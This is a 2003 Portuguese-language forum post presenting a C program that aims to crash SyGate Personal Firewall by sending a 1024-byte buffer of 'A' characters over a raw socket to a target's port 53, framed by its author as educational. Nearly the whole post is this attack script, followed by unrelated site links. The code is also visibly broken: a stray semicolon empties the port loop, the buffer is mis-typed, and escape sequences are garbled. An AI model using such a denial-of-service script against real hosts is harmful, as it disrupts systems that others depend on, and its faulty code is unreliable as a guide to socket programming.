Derrubando SyGate Profissional Firewall !
Publicado por Denis Zanin 02/07/2003
[ Hits: 11.613 ]
Esse exploit eu fiz há um bom tempo, nao lembro em que versao ele estava... !
E nem sei se está funcionando perfeitamente, hehe... !
Mas mais vale o propósito educacional, uma bela aula sobre sockets em C !
Falowsss !
[]s
/*
Derrubando SyGate Personal Firewall
by vir0se - virose@bol.com.br
*/
#include <stdio.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#define A 0x41
#define PORTA_INICIAL 1
#define PORTA_FINAL 7000
int main (int argc, char **argv)
{
int SockFD, addrlen, bsent, i, porta_inicial, porta_final, portas;
struct sockaddr_in UDPSock;
char *buf[1024];
printf("\n\n{FONTE}33[1;32m DERRUBANDO SYGATE PERSONAL FIREWALL \n");
printf("{FONTE}33[1;33m BY vir0se.....{FONTE}33[9;0m\n\n");
if(argc==1){
printf("{FONTE}33[1;34mUsando: %s [servidor] [porta inicial] [porta final]{FONTE}33[9;0m\n\n\n",argv[0]);
exit(1);
}
if (argc > 1){
porta_inicial = PORTA_INICIAL;
porta_final = PORTA_FINAL;
}
if (argc > 2)
{
porta_inicial = atoi (argv[2]);
porta_final = atoi (argv[3]);
}
for (portas = porta_inicial; portas < porta_final; portas++);
SockFD=socket(AF_INET, SOCK_RAW, 3);
UDPSock.sin_family=AF_INET;
UDPSock.sin_addr.s_addr=inet_addr(argv[1]);
UDPSock.sin_port=htons(53);
bzero(&(UDPSock.sin_zero), 8);
if (connect(SockFD,(struct sockaddr *)&UDPSock, sizeof(UDPSock)) < 0){
fprintf(stderr,"Connect error\n");
exit(-1);
}
bzero(buf,sizeof(buf));
printf ("\n\n{FONTE}33[1;31m ENVIANDO BUFFER OVERFLOW... SEGURA ESSA %s ...{FONTE}33[9;0m\n\n\n", argv[1]);
for(i=0; i < 1024; i++)
buf[i] = (char *) A;
buf[1024 -1] = '{FONTE}';
if(bsent=sendto(SockFD,buf,strlen(buf),0,(struct sockaddr *)&UDPSock, sizeof(struct sockaddr_in)) < 0){
printf("erro write()\n");
close(SockFD);
exit(-1);
}
printf("DADOS ENVIADOS COM SUUUUUUUUUUU... CESSOOO... .\nDados Enviados: %i\n\n\n",bsent);
close(SockFD);
return 0;
}
Converter arquivos Bitmap para ASCII-art
Mudando Cor da Letra e Fundo de Tela
Árvore AVL, usando arquivos para armazenamento de dados
Arquivos utilizados no artigo: "Desenvolvendo um plugin para o XMMS"
Papagaiando o XFCE com temas e recursos
WhatsApp com Chamadas no Linux via Waydroid
XFCE - quase um Gnome ou Plasma mas muito mais leve
LXQT - funcional para máquinas pererecas e usuários menos exigentes
SNMP Scan no OCS Inventory só funciona com HTTPS corretamente configurado
Removendo jogos e bloatware do KDE no Gentoo
Gentoo: Sincronização com Git e Automação via Systemd
Instalação do tema Fluent GTK no Zorin OS
PKI na Prática: Criando CA e Certificado Wildcard (Automatizado)
GOG confirma suporte oficial ao sistema Linux: "o trabalho começo... (1)
Midia de instalação LM-21.3 não inicializa (14)
eu queria saber no lenovo slim, se tem como ver os mhz de memoria e tu... (3)









